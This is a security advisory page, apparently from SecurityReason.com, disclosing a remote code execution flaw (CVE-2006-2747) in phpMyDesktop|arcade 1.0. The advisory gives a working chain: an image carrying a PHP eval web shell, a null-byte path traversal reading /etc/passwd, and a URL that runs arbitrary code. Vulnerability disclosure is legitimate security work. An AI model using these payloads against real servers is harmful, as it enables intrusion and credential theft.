SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

phpMyDesktop|arcade 1.0 FINAL Code Execution


Arrow  SecurityAlert : 1009
Arrow  CVE : CVE-2006-2747
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : darkgod
Arrow  Published : 03.06.2006

Arrow  Affected Software : phpMyDesktop|arcade 1.0



Arrow  Advisory Content :  

phpMyDesktop|arcade 1.0 FINAL

Code Execution Exploit

found-by: darkgod (darkgod.xsf (at) gmail (dot) com [email concealed])

links: criticalsecurity.NET, hackthissite.org, hacbloc.org

video-@: http://dgod.dajoob.com/videos/phpmydesktoparcade.rar

phpMyDesktop|arcade is a php-based 'bridge' between a game and message
board.

Its got a very nice interface, and many customiseable options.

Unfortunately, it suffers from two [three.] vulnerabilities.

1. Images are not checked for validity.

This may not be a vuln in itself -- because code won't execute inside
images. But you could

mess with Internet Explorer, which in some versions allow HTML inside of
images.

2. GET variable 'subsite' not sanitized.

todo=showsubsite&subsite=../../../../../../../../../../../etc/passwd%00

(example.)

Now, how does this allow code execution, you ask?

We upload our image with content of: <?php
eval(stripslashes($_GET['code'])); ?>

To upload, you must post in one of the blocks. It will NOT POST YOUR
CONTENT. This is because

it is trying first to create a thumbnail of your image, which is invalid,
so it will bork.

But the image still gets uploaded.

So, now we use the second vulnerability.

Firstly, we must get to the 'top' of the drive, and find our way back.
Create an error with it first,

so you can see the full path (let's say its /var/www/html/phpmydesktop1/.)

So, in order to get our code, you must do:

../../../../../../../../var/www/html/phpmydesktop1/uploads/images/imagen
ame.jpg%00

And assuming you uploaded what I said, the file query (in your addressbar)

will look like:

/phpmydesktop1/index.php?todo=showsubsite&subsite=../../../../../../../.
./var/www/html/phpmydesktop1/uploads/images/imagename.jpg%00

And add a &code=print('h0n0r');

To execute any code you wish.

dgod.

Vulnerability Status:

Over at pmd-arcade.sourceforge.net, their contact & support page is down,
so I see no easy way of contacting them.





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.